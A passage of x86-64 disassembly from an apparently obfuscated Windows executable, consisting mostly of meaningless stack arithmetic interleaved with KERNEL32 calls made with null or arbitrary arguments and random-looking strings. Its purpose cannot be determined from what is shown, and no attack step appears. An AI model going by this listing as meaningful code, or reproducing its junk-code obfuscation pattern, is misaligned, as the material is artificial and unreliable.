mov ecx, dword [rsp + 0xa3f4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b9c], ax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x14460], rax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x142d8]
mov qword [rsp + 0x14468], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14468]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa3ac], eax
mov eax, dword [0x14028ee58]
mov dword [rsp + 0xa57c], eax
mov rax, qword [rsp + 0x14348]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2b0], eax
mov eax, dword [rsp + 0xa3dc]
mov ecx, dword [rsp + 0xa554]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c8], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282700], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov byte [rsp + 0x669], al
mov rax, qword [0x14028ee10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x81a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa388], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c54], eax
movsx eax, word [rsp + 0x1dec]
movsx ecx, word [rsp + 0x2bbc]
imul eax, ecx
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x140b0]
mov byte [rcx], al
lea rax, [rsp + 0x653]
mov qword [rsp + 0x14470], rax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
sub eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov eax, dword [rsp + 0xa4ac]
mov dword [rsp + 0xa580], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x9a1c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282710], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2f4], eax
mov eax, dword [0x14028ee30]
mov dword [rsp + 0xa584], eax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [rsp + 0xa48c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x636], al
mov edx, 0x1a2d
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa3b0], eax
movzx eax, word [0x1402826e0]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x217c], ax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa578], eax
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov dword [rsp + 0xa588], eax
mov rax, qword [rsp + 0x142d8]
mov rcx, qword [rsp + 0x14260]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [0x14028ede0], eax
movzx eax, byte [rsp + 0x4d0]
movzx ecx, byte [0x140281dab]
and eax, ecx
mov byte [rsp + 0x667], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x63df
mov rcx, qword [rsp + 0x14458]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa58c], eax
movzx eax, word [rsp + 0x2c14]
mov word [rsp + 0x2c24], ax
movsx eax, byte [rsp + 0x4c7]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x654], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x368d
mov r9d, 0x762
mov r8d, 0x42e660ba
mov edx, 2
mov rcx, qword [rsp + 0x143b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa3ec], eax
mov rax, qword [rsp + 0x14428]
movzx eax, word [rax]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3e0], eax
mov eax, dword [rsp + 0xa478]
mov ecx, dword [rsp + 0xa460]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa428], eax
movzx eax, byte [rsp + 0x63a]
movzx ecx, byte [0x140281dbb]
sub eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0x1740]
movzx ecx, word [rsp + 0x2b48]
add eax, ecx
mov word [rsp + 0x2c1c], ax
mov rax, qword [rsp + 0x14380]
mov ecx, dword [0x14028eec4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402826f4], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xa590], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [0x14028eec4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa33c], eax
movzx eax, byte [rsp + 0x633]
mov byte [rsp + 0x66a], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc8]
add eax, ecx
mov word [rsp + 0x2b78], ax
lea rcx, [rsp + 0x21ab8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [0x14028270c]
movzx ecx, al
mov eax, dword [rsp + 0xa41c]
shl eax, cl
mov dword [rsp + 0x9d70], eax
mov eax, dword [rsp + 0x8248]
mov rcx, qword [rsp + 0x142d8]
mov qword [rsp + 0x14478], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14478]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14140]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa4c8]
mov dword [rsp + 0xa594], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0x7f7c]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140282714], eax
mov rax, qword [rsp + 0x142d8]
mov ecx, dword [rsp + 0x9930]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa50c], eax
movsx eax, byte [rsp + 0x64f]
movsx ecx, byte [0x140281db2]
and eax, ecx
mov byte [rsp + 0x634], al
movzx eax, word [rsp + 0x2b6c]
mov word [rsp + 0x2c2c], ax
movzx eax, word [rsp + 0x2b84]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dac], ax
lea rax, [rsp + 0x398]
mov qword [rsp + 0x14480], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa384]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov eax, dword [rsp + 0xa414]
mov ecx, dword [rsp + 0xa44c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4d4], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b20], ax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028ee00], al
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa580], eax
mov eax, dword [rsp + 0x7c54]
mov dword [rsp + 0xa598], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x718c], eax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [0x14028ee10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4a0], eax
movzx eax, word [rsp + 0x2bb8]
mov word [rsp + 0x2c30], ax
movzx eax, byte [rsp + 0x65c]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x143d8]
mov qword [rsp + 0x14488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14488]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9108], eax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0xa3e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa4a4], eax
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x2b5c]
shl eax, cl
mov word [0x140282718], ax
movzx eax, byte [0x140281dc3]
mov byte [rsp + 0x66b], al
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b90], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x650]
and eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov dword [rsp + 0xa59c], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa424]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70f8], eax
lea rax, [rsp + 0xa4ec]
mov qword [rsp + 0x14490], rax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [0x1402826ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d70], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa51c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1740]
mov word [rsp + 0x2c34], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x663]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028ee08], al
mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0xa45c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14380]
mov dword [rcx], eax
mov eax, dword [0x1402826b4]
mov ecx, dword [rsp + 0xa2bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7700], eax
mov rax, qword [rsp + 0x14288]
mov rcx, qword [rsp + 0x14348]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa458], eax
mov edx, 0x760303
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa2a4], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa468], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x14498], rax
movzx eax, byte [rsp + 0x645]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14460]
mov byte [rcx], al
movzx eax, byte [rsp + 0x634]
mov byte [rsp + 0x66c], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c10]
xor eax, ecx
mov word [rsp + 0x22d4], ax
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa3ec], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov dword [0x14028eddc], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x143d8]
mov qword [rsp + 0x144a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x144a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x872c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [rsp + 0x2c38], ax
movzx eax, byte [rsp + 0x65c]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x142d8]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8b90], eax
mov rax, qword [0x14028ee70]
mov rcx, qword [rsp + 0x14248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9e70]
mov dword [rsp + 0xa5a0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa4b4], eax
mov rax, qword [rsp + 0x143a8]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
sub eax, ecx
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov byte [0x14028ee00], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, dword [rsp + 0x64b4]
mov dword [rsp + 0xa5a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4a4], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa410]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a4], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x143a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa494], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0xa51c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x63e]
mov byte [rsp + 0x66d], al
movsx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b5c], ax
movzx eax, word [rsp + 0x2ba8]
mov word [rsp + 0x2c3c], ax
movzx eax, byte [rsp + 0x662]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dc2], al
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [0x1402826d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e4], eax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6f54], eax
movzx eax, byte [rsp + 0x659]
movzx ecx, byte [rsp + 0x661]
shl eax, cl
mov byte [rsp + 0x624], al
movzx eax, word [rsp + 0x2680]
movzx ecx, word [rsp + 0x2bf8]
sar eax, cl
mov word [rsp + 0x2b28], ax
mov eax, dword [rsp + 0xa504]
mov dword [rsp + 0xa5a8], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa42c], eax
mov eax, dword [rsp + 0xa4d0]
mov ecx, dword [rsp + 0x7730]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4ec], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xa5ac], eax
movzx eax, word [0x1402826a4]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
mov word [0x14028271c], ax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
and eax, ecx
mov byte [rsp + 0x1aa], al
lea rax, [rsp + 0xa514]
mov qword [rsp + 0x144a8], rax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ca4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3d4], eax
lea rdx, [rsp + 0xa4b4]
mov rcx, qword [rsp + 0x14458]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa5b0], eax
movzx eax, word [rsp + 0x2c28]
mov word [rsp + 0x2c40], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x642], al
lea rcx, str.LT4X_h9Uf5jB_JE14W_XS53XNK
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bd8], ax
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x648]
sub eax, ecx
mov rcx, qword [rsp + 0x142a0]
mov byte [rcx], al
lea rax, [rsp + 0x1dac]
mov qword [rsp + 0x144b0], rax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [0x14028ee38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ede0], eax
mov eax, dword [rsp + 0xa3d0]
movzx ecx, al
mov eax, dword [rsp + 0x9580]
shl eax, cl
mov dword [rsp + 0x71a4], eax
mov rax, qword [0x14028ee70]
mov rcx, qword [rsp + 0x14228]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0x140c8]
mov ecx, dword [rsp + 0xa504]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa4c4], eax
lea rax, [rsp + 0x659]
mov qword [rsp + 0x144b8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
movzx eax, word [0x14028eeb0]
movzx ecx, word [rsp + 0x2964]
sar eax, cl
mov word [rsp + 0x2b4c], ax
lea rax, [rsp + 0x6608]
mov qword [rsp + 0x144c0], rax
mov eax, dword [rsp + 0xa4a8]
mov ecx, dword [rsp + 0x84a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa42c], eax
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0xa3e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa434], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x144c8], rax
mov eax, dword [rsp + 0xa37c]
mov ecx, dword [rsp + 0xa4f8]
add ecx, eax
mov eax, ecx
mov dword [0x140282720], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movzx eax, byte [rsp + 0x651]
mov byte [rsp + 0x66e], al
movzx eax, word [rsp + 0x2bb0]
movzx ecx, word [rsp + 0x2bc4]
sub eax, ecx
mov rcx, qword [rsp + 0x14498]
mov word [rcx], ax
movzx eax, byte [rsp + 0x643]
mov byte [rsp + 0x66f], al
movsx eax, word [rsp + 0x2b98]
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa424]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa100], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa438]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e0], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
add eax, ecx
mov byte [rsp + 0x633], al
movzx eax, word [rsp + 0x2be4]
mov word [rsp + 0x2c44], ax
mov eax, dword [rsp + 0xa4a8]
mov dword [0x14028edd8], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [rsp + 0xa554]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov eax, dword [rsp + 0x81a4]
mov dword [rsp + 0xa5b4], eax
mov eax, dword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0xa518]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa100], eax
movzx eax, word [rsp + 0x2bcc]
movzx ecx, word [0x1402826a0]
sar eax, cl
mov word [rsp + 0x1820], ax
lea rax, [rsp + 0x656]
mov qword [rsp + 0x144d0], rax
mov eax, dword [rsp + 0x9e70]
mov ecx, dword [rsp + 0xa51c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c54], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa48c]
shl eax, cl
mov dword [rsp + 0x9ddc], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa57c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd8], eax
lea rax, [rsp + 0x8248]
mov qword [0x14028edd0], rax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa41c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x872c], eax
mov rax, qword [rsp + 0x142c0]
movzx eax, word [rax]
mov word [rsp + 0x2c48], ax
movsx eax, byte [rsp + 0x64e]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66d], al
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [rsp + 0x670], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1740]
sub eax, ecx
mov word [rsp + 0x2b8c], ax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa5a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa564], eax
lea rax, [0x1402826c8]
mov qword [rsp + 0x144d8], rax
movzx eax, byte [rsp + 0x64d]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x640], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402826f8], ax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [rsp + 0x144a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f70], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa438], eax
lea rax, [0x140282690]
mov qword [rsp + 0x144e0], rax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa474], eax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d0]
add eax, ecx
mov byte [rsp + 0x34e], al
movzx eax, word [rsp + 0x2bc8]
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14300]
mov qword [rsp + 0x144e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x144e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa2b0], eax
lea rax, [rsp + 0xa37c]
mov qword [rsp + 0x144f0], rax
movsx eax, byte [rsp + 0x28d]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x140281dc7], al
movsx eax, word [rsp + 0x2c2c]
movsx ecx, word [rsp + 0x2bf4]
or eax, ecx
mov word [rsp + 0x2b34], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x13ee8], rax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ee6a]
xor eax, ecx
mov byte [rsp + 0x648], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
mov word [rsp + 0x2c50], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa4b4], eax
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [rsp + 0xa514]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f54], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [0x14028ee60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x70cc], eax
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [rsp + 0xa420]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa38c], eax
mov rax, qword [rsp + 0x14260]
mov ecx, dword [rsp + 0xa53c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa55c]
mov dword [rsp + 0xa5b8], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
sub eax, ecx
mov rcx, qword [rsp + 0x14150]
mov byte [rcx], al
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
sub eax, ecx
mov word [0x1402826d8], ax
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov dword [rsp + 0xa5bc], eax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa4a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa420], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xa5c0], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [0x14028eec4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa42c], eax
movzx eax, word [rsp + 0x2bf8]
movzx ecx, word [rsp + 0x1860]
sub eax, ecx
mov word [rsp + 0x2b80], ax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x16a], al
movsx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14298]
mov byte [rcx], al
mov rax, qword [rsp + 0x14428]
movzx eax, word [rax]
mov word [rsp + 0x2c54], ax
mov rax, qword [0x14028ee38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x141c8]
mov qword [rsp + 0x144f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x144f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14028ee70]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa4c4]
mov rcx, qword [rsp + 0x142d8]
mov qword [rsp + 0x14500], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14500]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9bd8], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.NHWA6wtgtUCTjE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14508], rax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa454]
and ecx, eax
mov eax, ecx
